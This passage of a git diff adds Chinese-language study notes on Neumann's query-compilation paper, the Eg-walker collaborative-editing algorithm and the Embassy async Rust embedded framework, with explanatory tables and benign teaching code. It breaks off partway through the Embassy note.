父算子向下要数据 | 子算子向上**推**数据 | +| 寄存器 | 每次 `next()` 易 spill | 连续 push 直到 breaker | +| 代码形状 | 递归、多层调用 | **单段紧凑循环** | + +### 4. Data-Centric 编译 + +算子边界在**生成代码里被抹平**。例如 `Scan(R1) → σ(x=7) → HashBuild` 编译成**同一段**循环:扫列、比 predicate、写 hash 表——不再有三个独立 `Next()`。 + +### 5. produce / consume 接口(仅存在于编译器内) + +编译器视角下,每个算子提供两个概念方法: + +- **`produce()`**:向下游算子要输入,启动数据流; +- **`consume(attributes, source)`**:收到上游推来的 tuple,执行本算子逻辑。 + +**关键点**:这两个函数**不会出现在运行时**——编译器根据它们**展开成 imperative 代码**。运行时只有 LLVM 生成的机器码。 + +### 6. LLVM + C++ 混合执行 + +``` +┌─────────── LLVM 生成的「链条」:filter / hash / 内循环 ───────────┐ +│ ○──○──○──○──○──○──○──○──○──○──○──○──○──○──○──○──○──○──○──○──○ │ +└────┬───────────────────────────────┬─────────────────────────────┘ + │ 偶尔调用 │ 复杂算子交还控制 + ▼ ▼ + C++「齿轮」:索引结构、页分配、外排 merge、spill 到磁盘 … +``` + +- **热路径(99% tuple)**:纯 LLVM,寄存器常驻; +- **冷路径**:调预编译 C++(如 hash 表扩容、换页)——偶尔 spill 寄存器可接受,**每行都 spill 不行**。 + +LLVM 优势:JIT **毫秒级**、SSA「无限寄存器」简化代码生成、强类型抓 bug、自动受益于未来编译器/CPU 优化。 + +--- + +## 代码示例 1:Volcano vs 编译后的 Push 伪代码 + +下面用简化 SQL 说明两种执行形态的差异: + +```sql +SELECT * FROM R1, R3, + (SELECT R2.z, COUNT(*) FROM R2 WHERE R2.y = 3 GROUP BY R2.z) R2 +WHERE R1.x = 7 AND R1.a = R3.b AND R2.z = R3.c; +``` + +**Volcano 风格(Pull,每行多次虚调用):** + +```python +def top_join_next(): + while True: + t3 = scan_R3_next() # 虚调用 + if t3 is None: return None + for t2 in hash_probe_Bzc(t3.c): # 又一次算子边界 + for t1 in hash_probe_Bab(t3.b): + if t1.x == 7: # 本可在 scan 时过滤 + yield merge(t1, t2, t3) +``` + +**Data-centric 编译结果(Push,Figure 4 精神):** + +```python +# 片段 1:build Ba=b +for t in R1: + if t.x == 7: + hash_table_Bab.insert(t) + +# 片段 2:build Γz on R2 +for t in R2: + if t.y == 3: + agg_hash_Gz.add(t.z) + +# 片段 3:materialize Γz → build Bz=c +for (z, cnt) in agg_hash_Gz: + hash_table_Bzc.insert(z, cnt) + +# 片段 4:probe 并输出(内层 tight loop,列值可驻寄存器) +for t3 in R3: + for t2 in hash_table_Bzc.probe(t3.c): + for t1 in hash_table_Bab.probe(t3.b): + output(t1, t2, t3) +``` + +注意:`σ(x=7)` 与 R1 scan **融进片段 1**,不再单独成算子;片段 4 是性能关键路径。 + +--- + +## 代码示例 2:produce / consume 如何展开(Figure 5 简化) + +编译器内部的翻译规则(示意): + +```text +# HashJoin B +B.produce(): + B.left.produce() + B.right.produce() + +B.consume(attrs, source): + if source == B.left: + emit LLVM: "materialize attrs into hash table slot" + else: + emit LLVM: "for each match in hashTable[attrs.joinKey]: ..." + B.parent.consume(merged_attrs, B) + +# Selection σ +σ.produce(): + σ.input.produce() + +σ.consume(attrs, source): + emit LLVM: "if (" + σ.condition + ") { parent.consume(attrs); }" + +# TableScan +scan.produce(): + emit LLVM: "for each tuple t in relationFragment:" + emit LLVM: " parent.consume(t.columns, scan)" +``` + +对 Figure 3 的算子树应用上述规则,就得到 Figure 4 的四段 imperative 代码——**规则简单,但真实实现要跟踪属性依赖、相关子查询、多输入 join 左右差异等**(论文称 SQL-92 全套算子代码生成约 11,000 行)。 + +--- + +## 代码示例 3:分支布局对性能的影响 + +Hash 表冲突链遍历若写成「混合存在性与链表结束」的 while,分支预测约 50/50,**极慢**。论文建议拆成: + +```cpp +// 不友好:while 混合两种分支语义 +Entry* iter = hashTable[hash]; +while (iter) { + inspect(iter); + iter = iter->next; +} + +// 友好:先判断桶非空,再 do-while 短链 +Entry* iter = hashTable[hash]; +if (iter) { + do { + inspect(iter); + iter = iter->next; + } while (iter); +} +``` + +论文报告:**仅调整分支结构**即可让 hash lookup 快 **20%+**。LLVM 生成代码时同样遵守此布局原则。 + +--- + +## 与高级技术的结合 + +论文第 5 节说明框架可**自然扩展**,不必退回 Volcano: + +| 技术 | 如何融入 | +|------|----------| +| **SIMD** | 在 push 路径上把多个 tuple 打包进向量寄存器;LLVM 原生支持 vector type | +| **块处理** | 以 **fragment**(连续 tuple 块)为单位循环——与存储布局对齐 | +| **多核** | 不同 fragment 可并行;merge 结果需额外逻辑(论文留作 future work,后续 morsel-driven 等工作接续) | + +--- + +## 实验结果(HyPer,TPC-CH 基准) + +### OLTP(TPC-C,12 warehouse,单线程) + +| 后端 | 吞吐 (tps) | 总编译时间 | +|------|------------|------------| +| HyPer + C++ | 161,794 | **16.53 s** | +| HyPer + LLVM | 169,491 | **0.81 s** | + +OLTP 查询简单、touch tuple 少,运行时差距不大;**编译时间差一个数量级**决定能否用于交互式场景。 + +### OLAP(TPC-H 改编 Q1–Q5,warm run) + +| 查询 | HyPer C++ (ms) | HyPer LLVM (ms) | VectorWise | MonetDB | +|------|----------------|-----------------|------------|---------| +| Q1 | 142 | **35** | 98 | 72 | +| Q2 | 374 | **125** | — | 218 | +| Q3 | 141 | **80** | 257 | 112 | +| Q4 | 203 | **117** | 436 | 8168 | +| Q5 | 1416 | **1105** | 1107 | 12028 | + +Q1(单 scan + 聚合)最能体现寄存器常驻优势;Q5 join 重时差距缩小。 + +### 代码质量(callgrind,相对 MonetDB) + +- **分支总数**:LLVM 版通常少一个数量级(单段代码 vs BAT 多次触碰); +- **分支误判**、**L1/L2 cache miss**:LLVM 版多数查询更低; +- **动态指令数**:LLVM 生成代码更紧凑。 + +--- + +## 与后续系统的关系 + +| 系统 / 工作 | 关联 | +|-------------|------| +| **HyPer + Morsel-Driven (2014)** | 同一数据库上的 **并行调度** 层;编译出快代码,morsel 负责多核 | +| **Umbra (Neumann 后续)** | 继承 data-centric + LLVM 路线 | +| **DuckDB** | 向量化 + 可选 **query pipeline 编译**;工程上吸收了「少物化、紧循环」思想 | +| **Velox / 各云引擎** | 物理计划执行层分离;Neumann 2011 解决的是「单节点内核如何贴近 CPU」 | + +读 2011 论文时的一个心法:**优化器产出的是代数 DAG,但 CPU 想执行的是「for 循环 + 少分支 + 寄存器里算完」**——编译层的工作就是把前者变成后者。 + +--- + +## 实现与维护性 + +- SQL-92 代数算子 → LLVM 的代码生成器:**约 11,000 行**(论文结论:compact and maintainable); +- 不必手写汇编:LLVM SSA + 类型检查降低 bug 率; +- 依赖 **主流编译器栈**,硬件升级时 DBMS 不必重写算子内核。 + +--- + +## 局限与未覆盖点 + +1. **并行划分策略**论文仅点到为止(2014 morsel 论文专门补这块); +2. **磁盘 spill** 存在但与内存场景相比论述较少; +3. **编译计划缓存**:重复查询摊销编译成本,论文实验用 prepared query warm run; +4. **超宽表 / 超大 tuple**:「全部进寄存器」假设会破,需物化部分列。 + +--- + +## 零基础自检清单 + +读完后,你应该能回答: + +1. **为什么 Volcano 在内存数据库里慢?**(每行虚调用、寄存器 spill、分支预测) +2. **Pipeline breaker 在本文里是什么意思?**(被迫离开寄存器的物化点) +3. **Push 和 Pull 的本质区别?**(控制流方向 + 能否生成单段 tight loop) +4. **produce/consume 何时存在?**(仅编译期;运行时是 LLVM 机器码) +5. **为何选 LLVM 而不是 runtime 拼 C++?**(JIT 快、代码质量、可移植、类型安全) +6. **Q1 为何是最佳 showcase?**(scan + agg,几乎无 join,寄存器策略收益最大) + +--- + +## 延伸阅读 + +- Thomas Neumann, *Efficiently Compiling Efficient Query Plans for Modern Hardware*, PVLDB 4(9), 2011. [PDF](https://www.vldb.org/pvldb/vol4/p539-neumann.pdf) +- Kemper & Neumann, *HyPer: A hybrid OLTP&OLAP main memory database system*, ICDE 2011(同一系统的 OLTP/OLAP 混合架构) +- Leis et al., *Morsel-Driven Parallelism*, SIGMOD 2014(HyPer 并行执行,本仓库笔记:`morsel-driven-2014.md`) +- Boncz et al., *MonetDB/X100: Hyper-Pipelining Query Execution*, CIDR 2005(向量化对照组) + +--- + +## 一句话总结 + +**不要把 SQL 计划当作运行时的一串算子对象去「拉」——在编译期把它展开成 push 式、breaker 之间寄存器友好的机器码;LLVM 让这种展开既快又便携,从而在现代 CPU 上逼近手写 C++ 的执行效率。** diff --git a/src/content/docs/papers/eg-walker-collab-text-2024.md b/src/content/docs/papers/eg-walker-collab-text-2024.md new file mode 100644 index 000000000..2b24cd6fb --- /dev/null +++ b/src/content/docs/papers/eg-walker-collab-text-2024.md @@ -0,0 +1,296 @@ +--- +title: Eg-walker — 协同文本编辑的「按需 CRDT」:更好、更快、更小 +来源: https://arxiv.org/abs/2409.14252 +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:Git 分支合并,但不用背整本字典 + +你和同事在改同一份稿子。最土的做法是**抢锁**:谁拿到锁谁改,别人等着——像会议室里只有一支马克笔。 + +**Google Docs** 像**魔法白板**:你插一个字、对方插一个字,最后板上自动变成合理结果。背后常用 **OT(Operational Transformation,操作变换)**:收到别人的操作时,按规则「平移」插入位置。两人各改一处时很快;但若你们**各自离线写了一万字**再合并,OT 要把你的每个操作和对方的每个操作两两变换,复杂度往往 **O(n²)** 甚至更差——论文里有一个真实 trace,OT 合并要 **1 小时**,而 Eg-walker 只要 **24 ms**。 + +**Yjs / Automerge** 这类 **CRDT** 像给每个字符发**永久身份证**:并发插入不靠整数下标,靠 ID 排序,合并时不用 OT 那种两两变换。代价是:身份证和墓碑(已删字符的元数据)要**一直留在内存和磁盘里**。打开一篇长文,CRDT 可能比纯文本多占 **10 倍以上** 内存——所以 Google Docs、Overleaf 仍选 OT。 + +**Eg-walker**(Event Graph Walker,事件图漫步者)想兼得两边优点: + +- **平时**:内存里只有**纯文本**(像 OT),没有 CRDT 元数据; +- **合并并发分支时**:临时启动内部 CRDT,算完就**扔掉**(像「只借一次字典」); +- **历史**:用**事件图(DAG)** 记录谁何时做了什么,磁盘上可高度压缩。 + +作者 Joseph Gentle 与 Martin Kleppmann([[crdt-json]] 合著者之一)在 **EuroSys 2025** 发表此文,获 **Gilles Muller Best Artifact Award**;实现与 benchmark 见 [egwalker-paper](https://github.com/josephg/egwalker-paper)。 + +## 是什么 + +Eg-walker 是一种**纯文本协同编辑算法**,保证: + +1. 多副本最终看到**相同字符序列**(强 eventual consistency); +2. 并发插入在语义上满足 **maximally non-interleaving**(同位置并发插入不会乱交错成 `a1b2` 这种「拉链」); +3. 不依赖中心服务器,可用于 **P2P**(飞机舱内、野外科考、断网协作等场景)。 + +每个副本持久化三块状态中的两块: + +| 状态 | 内容 | 是否持久化 | +|------|------|------------| +| **Event graph** | 插入/删除操作的 DAG,带 parent 指针 | 是(紧凑二进制格式) | +| **Document state** | 当前可见文本(rope / piece table 等) | 是(可当纯文本文件) | +| **Internal state** | 临时 CRDT + 双版本 B 树 | **否**(合并完可丢弃) | + +这与 [[zed-editor-collaborative]] 等「CRDT 常驻内存」的路线形成鲜明对比:Zed 把 CRDT 当一等公民;Eg-walker 把 CRDT 当**合并时的临时工**。 + +## 为什么重要 + +不懂 Eg-walker,下面问题很难答清: + +1. **OT 和 CRDT 的二选一是不是永恒的?** —— 论文证明可以 hybrid:索引式操作 + 按需 CRDT。 +2. **为什么 local-first / 离线写作 + Git 式分支** 在 OT 编辑器里很难做? —— 大 divergence 下 OT 合并太慢;Eg-walker 针对 DAG 合并做到 **O(n log n)** 量级。 +3. **打开 10 万字文档为何 CRDT 编辑器卡顿?** —— 要加载全部字符 ID 与墓碑;Eg-walker 稳态内存接近纯文本。 +4. **和 Kleppmann 之前工作什么关系?** —— 同一「事件图 + 纯函数 replay」脉络,但 Eg-walker 是**首个**在文本上同时击败 OT(大分支)与 CRDT(内存/加载)主流弱点的实用算法。 + +## 架构全景 + +```mermaid +flowchart LR + subgraph 持久化 + EG[Event Graph DAG] + DOC[Document Text] + end + + subgraph 临时["仅合并时存在"] + CRDT[Internal CRDT] + BT[Order-statistic B-trees] + end + + User[用户编辑] -->|Insert i / Delete i| EG + User --> DOC + Remote[远端事件] --> EG + EG -->|拓扑排序 + walk| CRDT + CRDT --> BT + CRDT -->|变换后的 index 操作| DOC + CRDT -.->|合并完成| x[丢弃] +``` + +## 核心概念 + +### 1. 操作与事件图 + +基本操作(可压缩为连续 run): + +- `Insert(i, c)` — 在零基下标 `i` 插入字符 `c` +- `Delete(i)` — 删除下标 `i` 处的字符 + +每个操作包装成 **event**:含唯一 ID、`parents`(生成时本副本已知的 frontier 事件集)、原始 index 操作。所有 event 构成 **DAG**: + +- `a → b`:a 发生在 b 之前(因果序) +- `a ∥ b`:并发,互不前驱 + +**Frontier(版本)** = 当前图中「没有子节点」的事件集合,可看作逻辑时钟:「我此刻认定世界长什么样」。 + +Figure 1 经典例子:两人从 `Helo` 出发,一人 `Insert(3,"l")`,另一人 `Insert(4,"!")`。在 User 1 侧,后到的 `Insert(4,"!")` 必须变成 `Insert(5,"!")` 才得到一致的 `Hello!`。 + +### 2. replay 抽象 + +协同算法可统一写成纯函数: + +```text +doc = replay(event_graph) +``` + +给定已有图 `G` 与当前文档 `doc`,新事件 `e` 的增量更新是:求出一个 **index 操作** `op'`,使得 `apply(doc, op') = replay(G ∪ {e})`。OT 和 CRDT 都是求这个 `op'` 的不同实现;Eg-walker 用 **walk + 临时 CRDT** 求。 + +### 3. prepare 版本 vs effect 版本 + +内部状态同时跟踪两个「文档版本」: + +- **prepare version**:解释**当前 event 原始下标**时所处的文档快照(= event 的 parents 所定义的版本) +- **effect version**:**所有已处理 event** 生效后的文档 + +对应三个原语(论文 Section 3.2): + +- `apply(e)` — prepare 已对齐 `e.parents` 时,把 e 纳入两版本并输出变换后的操作 +- `retreat(e)` — 从 prepare 版本**撤销** e 的效果(effect 不变) +- `advance(e)` — 把已在 effect 中的 e **加回** prepare + +遍历 DAG 时,常在分支间切换:先 `retreat` 掉与下一 event 并发的操作,再 `apply` 新分支,必要时 `advance` 共同祖先。这就像 Git rebase 时在多个 branch 间切来切去,但对象是**字符级操作**而非 commit。 + +### 4. 内部 CRDT 与双状态位 + +每个字符一条 record,含: + +- 插入 event 的 ID +- `s_p`:prepare 中可见性(`NotInsertedYet` / `Ins` / `Del 1` / `Del 2` / …) +- `s_e`:effect 中可见性(`Ins` / `Del`) + +并发插入的顺序由内部 list CRDT(实现采用 Yjs/YATA 变体)决定。`retreat`/`advance` 只改 `s_p`;`apply` 更新 `s_e` 并可能输出对**当前纯文本**的 Insert/Delete。 + +为 O(log n) 找「第 i 个可见字符」,论文用 **order-statistic B-tree** 维护子树内 `s_p=Ins` / `s_e=Ins` 的计数;另有一棵 **event ID → record** 的 B-tree 支持按 ID 做 retreat/advance。 + +### 5. Critical version 与部分 replay + +**Critical version** `V`:把事件图切成 `G1 = Events(V)` 与 `G2 = G - G1`,且 `G1` 中每个事件都发生在 `G2` 每个事件之前。直观理解:**一次「全员同步点」**,之后没有与之前并发的编辑。 + +关键优化: + +- 到达 critical version 时可**清空 internal state**; +- 若 event 与其 parent 都在 critical version 上,**无需变换**,原样输出; +- 增量合并新事件时,只需从**最近 critical version 之后**的子图 replay,前面用 **placeholder** 代表「未知长度的旧文档」。 + +因此典型「轮流写、很少并发」的论文/代码 trace,绝大部分 event 走**零变换快路径**;只有并发簇附近才付 CRDT 成本。 + +### 6. 与 OT / CRDT 的复杂度对照 + +| 场景 | OT | 常驻 CRDT | Eg-walker | +|------|-----|-----------|-----------| +| 在线小编辑(n 小) | 快 | 元数据常驻 | 快(常无 internal state) | +| 两分支各 n 个离线 op 合并 | O(n²)+ | O(n) 但带大常数 | **O(n log n)** | +| 稳态内存 | ~纯文本 | 文本 + ID/墓碑 | **~纯文本** | +| 打开文档 | 快 | 慢(加载 CRDT) | **快**(主要加载文本 + 压缩事件图) | +| P2P / 无服务器 | 部分 OT 受限 | 可以 | **可以** | + +最坏情况下 Eg-walker 合并性能与最好 CRDT 相当;最好情况下比 CRDT 省 **1–2 个数量级**内存,比 OT 快**数个数量级**。 + +## 代码示例 + +### 示例 1:事件结构与并发插入(教学用 TypeScript) + +下面不是论文官方代码,但忠实于论文 Figure 1–2 的建模方式: + +```typescript +type Op = + | { kind: "insert"; index: number; char: string } + | { kind: "delete"; index: number }; + +interface Event { + id: string; + parents: string[]; // frontier at creation time + op: Op; +} + +// 两人从 "Helo" 并发编辑 +const e3: Event = { + id: "e3", + parents: ["e2"], // 已知 ...Hel + op: { kind: "insert", index: 3, char: "l" }, +}; + +const e4: Event = { + id: "e4", + parents: ["e2"], // 同样基于 ...Hel,与 e3 并发 + op: { kind: "insert", index: 4, char: "!" }, +}; + +// replay 后两边都应是 "Hello!" +// User1 侧:先应用 e3 → "Hell",收到 e4 需变换为 Insert(5,"!") +// Eg-walker 在 walk 时通过 prepare/effect 版本自动完成该变换 +``` + +要点:**event 里永远存原始 op**;变换只发生在应用到本地 `doc` 时,不篡改历史。 + +### 示例 2:prepare 版本切换(retreat / advance 骨架) + +对应论文 Figure 4(`hi` → 一路径变 `hey`,另一路径变 `Hi`,最后加 `!`)的简化控制流: + +```typescript +type Walker = { + prepare: Set; // event ids in prepare version + effect: Set; // event ids in effect version +}; + +function movePrepare(w: Walker, targetParents: Set, topo: string[]) { + const oldEvents = expandTransitive(w.prepare); + const newEvents = expandTransitive(targetParents); + + // 先 retreat:old - new,逆拓扑序 + for (const id of topo.filter((id) => oldEvents.has(id) && !newEvents.has(id)).reverse()) { + retreat(id); // 更新内部 CRDT 的 s_p + w.prepare.delete(id); + } + + // 再 advance:new - old,拓扑序 + for (const id of topo.filter((id) => newEvents.has(id) && !oldEvents.has(id))) { + advance(id); + w.prepare.add(id); + } +} + +function applyEvent(w: Walker, e: Event, topo: string[]): Op { + movePrepare(w, new Set(e.parents), topo); + const transformed = internalApply(e); // index 从 prepare 映到 effect + w.effect.add(e.id); + w.prepare.add(e.id); + return transformed; +} +``` + +真实实现还要维护 B 树计数、placeholder 分段、run-length 压缩等;但**控制流核心**就是:在应用每个 event 前,把 prepare 版本**精确对齐**到 `e.parents`。 + +### 示例 3:判断 critical version(概念代码) + +```typescript +function isCriticalVersion(events: Map, version: Set): boolean { + const g1 = expandTransitive(version); + const g2 = new Set([...events.keys()].filter((id) => !g1.has(id))); + for (const a of g1) { + for (const b of g2) { + if (!happensBefore(events, a, b)) return false; + } + } + return true; +} + +// 若 isCriticalVersion 为真,可安全: +// - 丢弃 internal CRDT +// - 后续 replay 仅从该 version 之后开始 +``` + +人类写作 trace 里 critical version 很常见(例如一次 merge 点、一次全员 sync),这是 Eg-walker **日常接近 OT 内存 footprint** 的原因。 + +## 存储与网络 + +论文 Section 3.8 描述事件图磁盘格式:利用人类编辑「连续插入/删除成 run」的特点,大量线性链可极度压缩。网络上只广播 **event**(含 parent IDs 与 op),**从不**同步 internal CRDT 状态——与 Automerge 二进制快照形成对比。 + +可靠广播 + 因果交付即可:若 event 的 parent 未到,先缓冲(标准 causal broadcast)。 + +## 评测与 artifact + +作者发布 **真实编辑 trace** 套件(论文、小说、代码等),测量: + +- 加载文档 CPU 时间 +- 合并远端副本 CPU 时间 +- 内存占用 +- 磁盘文件大小 + +对比对象包括多种文本 CRDT 与 OT 实现。结论:Eg-walker 在「大分支合并」「打开大文档」「稳态内存」上常有好几个数量级优势;极端全并发 trace 下与最快 CRDT 同量级。 + +## 局限与后续 + +- 本文聚焦**纯文本**;富文本、表格、图形需推广(作者认为框架可扩展)。 +- Internal list CRDT 的 formal non-interleaving 证明留作后续工作。 +- 与生产级 Yjs/Automerge 生态的**工程整合**仍在早期(论文偏算法 + artifact,而非完整编辑器产品)。 + +## 与相关笔记的对照 + +| 笔记 | 关系 | +|------|------| +| [[crdt-json]] | 同一作者 Kleppmann 的 CRDT 理论脉络;Eg-walker 把 CRDT **降级为合并工具** | +| [[zed-editor-collaborative]] | Zed 选择常驻 CRDT buffer;Eg-walker 代表「元数据按需」的另一极 | +| [[monaco-editor-2016]] / [[codemirror-6-architecture]] | 浏览器编辑器通常外接 Yjs;若 Eg-walker 成熟,可能改变协同层选型 | + +## 小结 + +Eg-walker 的核心洞察可以用一句话记住: + +> **历史用事件图持久化,日常只保纯文本;只有遇到并发 DAG 时,才临时请 CRDT 当翻译,翻完就下班。** + +它把 OT 的「轻量稳态」和 CRDT 的「任意 DAG 合并」缝在一起,并用 **critical version** 把常见「顺序写作」快路径做到极致。对想做 **离线优先、P2P、长分支合并** 的写作/代码工具,这篇 EuroSys 2025 论文值得精读原文 Appendix(正确性证明)并跑一遍 [官方 benchmark 仓库](https://github.com/josephg/egwalker-paper)。 + +## 延伸阅读 + +- 论文 PDF:[arXiv:2409.14252](https://arxiv.org/abs/2409.14252) +- 作者博文:[Martin Kleppmann — Eg-walker](https://martin.kleppmann.com/2025/04/02/eg-walker-collaborative-text.html) +- 实现与 trace:[josephg/egwalker-paper](https://github.com/josephg/egwalker-paper) +- OT 经典:[Google Docs 使用的 Jupiter OT](https://docs.google.com/)(Day-Richter, 2010 技术分享) +- List CRDT 背景:RGA、YATA、Yjs diff --git a/src/content/docs/papers/embassy-async-rust-embedded.md b/src/content/docs/papers/embassy-async-rust-embedded.md new file mode 100644 index 000000000..a36797d4d --- /dev/null +++ b/src/content/docs/papers/embassy-async-rust-embedded.md @@ -0,0 +1,326 @@ +--- +title: Embassy — Modern Async Rust for Embedded Systems 零基础学习笔记 +来源: https://embassy.dev/book/ +日期: 2026-06-13 +子分类: 嵌入式与 IoT +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象一家**只有一位服务员、但菜单很满的小餐馆**: + +- **单片机**就是这位服务员——同一时刻只能端一盘菜(单核 CPU)。 +- 店里同时要:闪 LED、等按键、读传感器、通过 UART 发数据。每件事都像一桌客人,不能某桌「等酱油」时全店停业。 +- 传统 **RTOS**(如 FreeRTOS)的做法是雇**多位厨师**:每个任务独占一摞盘子(独立栈),内核在 Tick 中断里**抢灶台**(抢占调度),还要调每人的盘子高度(栈大小)。 +- **Embassy** 换了一种思路:还是**一位服务员**,但学会**协作式多任务**——等酱油时先去给别桌倒水(`.await` 让出执行权),酱油到了再回来继续。所有「等」都写在 Rust 的 `async/await` 里,编译器把每个异步函数变成**状态机**,**不占堆、不 malloc**,栈只有一份。 + +官方 [Embassy Book](https://embassy.dev/book/) 的定位很直白:让 **async/await 成为嵌入式开发的一等公民**。项目由 Embassy 社区维护(GitHub `embassy-rs/embassy`),提供执行器、时间库、以及 nRF / STM32 / RP2040 等 HAL,也可与第三方 HAL 混用。 + +和前面笔记里 FreeRTOS、Zephyr 的对照: + +| 维度 | FreeRTOS / 经典 RTOS | Embassy | +|------|----------------------|---------| +| 任务模型 | 每任务独立栈 + 内核调度 | 协作式 async 任务,编译期状态机 | +| 内存 | 运行时分配栈,需调 `stack_size` | 静态分配,链接期检查 RAM | +| 阻塞写法 | `vTaskDelay`、信号量、队列 | `Timer::after_millis(n).await`、`pin.wait_for_low().await` | +| 省电 | Tickless 等需配置 | 无活可干时执行器让核心睡眠,中断唤醒 | +| 语言 | C | Rust(所有权 + 无数据竞争) | + +Embassy 不是要「消灭 RTOS」,而是说明:在大量 I/O 等待型固件里,**async 协作 + 中断唤醒** 可以比传统内核更省 RAM、更省电,代码也更像顺序逻辑。 + +## 这篇文档在说什么 + +| 维度 | 内容 | +|------|------| +| 项目 | Embassy — 面向嵌入式的 Rust async 框架 | +| 官方书 | [Embassy Book](https://embassy.dev/book/):从 blinky 到 executor、time、HAL | +| 核心 crate | `embassy-executor`、`embassy-time`、`embassy-*` HAL(nrf、stm32、rp 等) | +| 平台 | Cortex-M、RISC-V、ESP32(经 esp-rtos)、WASM、std(本地模拟) | +| 许可 | Apache-2.0 | + +Book 结构大致分三块: + +1. **入门**:用 `embassy-executor::main` 写第一个 async 固件,理解 `Spawner` 与 `#[task]`。 +2. **运行时**:executor 如何 poll 任务、何时 `Poll::Pending`、timer 队列如何驱动 `.await`。 +3. **硬件抽象**:各芯片 HAL 的 GPIO、UART、SPI、USB 等 **async API**,以及低功耗、多核、中断优先级执行器。 + +## 为什么值得学 + +| 场景 | Embassy 提供的价值 | +|------|---------------------| +| 多路 I/O(按键 + LED + 串口 + 传感器) | 每个外设一个 `async fn`,逻辑线性,无需状态机宏 | +| RAM 紧张的 MCU | 无 per-task 栈,链接器在编译期发现 RAM 不够 | +| 电池供电 | 无事可做时 WFI/WFE 睡眠,非忙等轮询 | +| 已有 Rust 嵌入式经验 | 与 `embedded-hal`、`defmt` 生态一致 | +| 对比学习 RTOS | 理解「协作式 vs 抢占式」的设计权衡 | + +若你来自 **Arduino `loop()` + `millis()`** 或 **FreeRTOS 任务**,Embassy 的迁移心智是:把「标志位 + 非阻塞状态机」改写成 `async fn`,把 `delay` 改成 `.await`。 + +## 核心概念一:Future、Executor 与 Task + +Rust 的 `async fn` 不会立刻执行函数体,而是返回一个 **Future**——一种「将来可能完成」的计算。Executor(执行器)负责反复 **poll** 这些 Future: + +``` + 创建任务 ──► poll 任务 + │ + ├─► 有进展 ──► 继续 poll 同一任务 + │ + └─► 遇到 .await 且未就绪 ──► 返回 Poll::Pending + │ + ▼ + 任务入队尾,poll 下一个任务 + │ + ▼ + 全部 Pending ──► 平台睡眠(WFI/WFE) + │ + 中断/定时器到 ──► 唤醒,继续 poll +``` + +要点(来自 [Embassy Book — executor](https://embassy.dev/book/)): + +- **协作式**:同一 executor 上的任务不会在中途被强制打断;只有 `await` 点才让出。 +- **静态任务数**:`#[embassy_executor::task]` 在编译期分配任务元数据;可用 `pool_size` 允许多实例。 +- **`#[embassy_executor::main]`**:宏展开为创建 `Executor`、spawn `main` 为第一个任务、进入 `run` 循环。 +- **`Spawner`**:在 `main` 里 `spawner.spawn(blink(...))` 启动后台任务;`main` 自己也是 async 任务。 + +其他语言里的 **coroutine / goroutine**,在 Rust 嵌入式里就是这套 **async + 专用 executor**。 + +### 与 RTOS 线程的对比 + +``` + RTOS 任务 A RTOS 任务 B + [栈 512B] [栈 1024B] + \ / + \ 内核抢占 / + ▼ ▼ + CPU + + Embassy 任务 A、B、C + [共享一个栈,状态机在 .rodata/.bss] + │ + ▼ + executor 轮询 +``` + +代价是:**长时间不占 await 的 CPU 密集循环** 会饿死其他任务——需要主动 `yield` 或拆成小块。嵌入式固件多数是等外设,这通常可接受。 + +## 核心概念二:embassy-time 与异步等待 + +阻塞延时在 Embassy 里不是 `hal::delay::DelayMs::delay_ms()` 占死 CPU,而是: + +```rust +use embassy_time::Timer; + +Timer::after_millis(500).await; +``` + +`embassy-time` 依赖平台 **Time Driver**(nRF、STM32、RP2040 等 HAL 自带)。内部维护 **timer 队列**:任务在 `await` 时注册唤醒时间,到期由中断标记 Future 就绪,executor 再次 poll。 + +官方建议:**亚微秒级** 精确延时仍用**阻塞**硬件延时——上下文切换成本太高,async 定时器不适合做纳秒级忙等。 + +常见 API: + +| API | 用途 | +|-----|------| +| `Timer::after_millis(n).await` | 相对延时 | +| `Timer::at(instant).await` | 绝对时间点 | +| `Ticker::every(interval)` | 周期定时(类似 RTOS 软件定时器) | + +GPIO 的「等按键按下」同样做成 Future,例如 `Input::wait_for_low().await`,底层在 EXTI 中断里唤醒任务,等待期间 CPU 可睡眠。 + +## 核心概念三:HAL、可组合性与实时性 + +Embassy 不只是 executor: + +- **HAL**(`embassy-nrf`、`embassy-stm32`、`embassy-rp`…):安全封装寄存器,提供 async 与 blocking 两套 API。 +- **Pick and choose**(官网强调):可用 Embassy executor + 别家 HAL;或 Embassy HAL + 别的 runtime;时间驱动也可自实现。 +- **多 executor**:`InterruptExecutor` 可在**中断上下文**驱动高优先级任务,与主线程 executor 形成软实时层次(类似「高优先级 ISR 里跑小 executor」)。 +- **调度扩展**:feature `scheduler-priority`、`scheduler-deadline`(EDF)可选,用额外元数据排序就绪队列。 + +低功耗路径:当 run queue 空且没有即将到期的 timer,平台 `sleep()`;外设中断到来时 **pender** 唤醒 executor 继续 poll——没有「空转 while 轮询标志位」。 + +## 代码示例一:LED 闪烁 + 按键(最小 async 固件) + +下列模式与 [embassy.dev](https://embassy.dev/) 官网示例一致,展示 `main`、`task`、`Spawner`、GPIO async: + +```rust +use embassy_executor::Spawner; +use embassy_nrf::gpio::{AnyPin, Input, Level, Output, OutputDrive, Pull}; +use embassy_nrf::Peri; +use embassy_time::Timer; + +#[embassy_executor::task] +async fn blink(pin: Peri<'static, AnyPin>) { + let mut led = Output::new(pin, Level::Low, OutputDrive::Standard); + loop { + led.set_high(); + Timer::after_millis(150).await; + led.set_low(); + Timer::after_millis(150).await; + } +} + +#[embassy_executor::main] +async fn main(spawner: Spawner) { + let p = embassy_nrf::init(Default::default()); + + // 后台闪灯,与 main 逻辑并发(协作式) + spawner.spawn(blink(p.P0_13.into())).unwrap(); + + let mut button = Input::new(p.P0_11, Pull::Up); + loop { + button.wait_for_low().await; // 按下:异步等 GPIO,不阻塞其他任务 + defmt::info!("Button pressed!"); + button.wait_for_high().await; + defmt::info!("Button released!"); + } +} +``` + +读这段代码的「零基础 checklist」: + +1. `#[embassy_executor::main]` 替代 `fn main()`,整个固件入口是 async 的。 +2. `blink` 是独立 **Task**,由宏生成静态存储;`spawner.spawn` 只接受一次(除非 `pool_size > 1`)。 +3. `Peri<'static, AnyPin>` 表达引脚在整个程序生命周期有效——Rust 所有权防止悬空引脚。 +4. 两个 `loop` 里的 `.await` 是**唯一**让出 CPU 的点;闪灯与按键等待交替被 executor 推进。 + +`Cargo.toml` 片段(Cortex-M 常见配置,版本号以 Book 为准): + +```toml 